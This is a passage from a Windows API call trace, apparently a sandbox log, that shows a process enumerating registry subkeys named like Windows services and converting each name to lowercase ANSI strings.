RegEnumKeyW (in: hKey=0x140, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0177.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drmkaud", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drmkaud", lpUsedDefaultChar=0x0) returned 7 [0177.948] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0177.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxgkrnl", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxgkrnl", lpUsedDefaultChar=0x0) returned 7 [0177.948] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0177.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="e1g60", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="e1g60", lpUsedDefaultChar=0x0) returned 5 [0177.948] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0177.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eaphost", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eaphost", lpUsedDefaultChar=0x0) returned 7 [0177.948] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0177.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ebdrv", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ebdrv", lpUsedDefaultChar=0x0) returned 5 [0177.948] RegEnumKeyW (in: hKey=0x140, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0177.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0177.949] RegEnumKeyW (in: hKey=0x140, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0177.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0177.949] RegEnumKeyW (in: hKey=0x140, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0177.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0177.949] RegEnumKeyW (in: hKey=0x140, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0177.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="elxstor", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="elxstor", lpUsedDefaultChar=0x0) returned 7 [0177.949] RegEnumKeyW (in: hKey=0x140, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0177.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="errdev", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="errdev", lpUsedDefaultChar=0x0) returned 6 [0177.949] RegEnumKeyW (in: hKey=0x140, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0177.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="esent", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="esent", lpUsedDefaultChar=0x0) returned 5 [0177.949] RegEnumKeyW (in: hKey=0x140, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0177.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0177.950] RegEnumKeyW (in: hKey=0x140, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0177.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0177.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0177.950] RegEnumKeyW (in: hKey=0x140, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0177.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exfat", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exfat", lpUsedDefaultChar=0x0) returned 5 [0177.950] RegEnumKeyW (in: hKey=0x140, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0177.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0177.950] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0177.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0177.950] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0177.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0177.950] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0177.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0177.951] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0177.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0177.951] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0177.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0177.951] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0177.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x21f1a00, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0177.951] RegEnumKeyW (in: hKey=0x140, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0177.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0177.951] RegEnumKeyW (in: hKey=0x140, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0177.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0177.951] RegEnumKeyW (in: hKey=0x140, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0177.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0177.951] RegEnumKeyW (in: hKey=0x140, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0177.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0177.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x21f1a00, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0177.952] RegEnumKeyW (in: hKey=0x140, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0177.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0177.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0177.952] RegEnumKeyW (in: hKey=0x140, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0177.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0177.952] RegEnumKeyW (in: hKey=0x140, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0177.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0177.952] RegEnumKeyW (in: hKey=0x140, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0177.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0177.952] RegEnumKeyW (in: hKey=0x140, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0177.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0177.952] RegEnumKeyW (in: hKey=0x140, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0177.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0177.953] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0177.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0177.953] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0177.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0177.953] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0177.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0177.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f1d18, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0177.953] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0177.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0177.953] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0177.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0177.953] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0177.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0177.953] RegEnumKeyW (in: hKey=0x140, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0177.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0177.954] RegEnumKeyW (in: hKey=0x140, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0177.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", 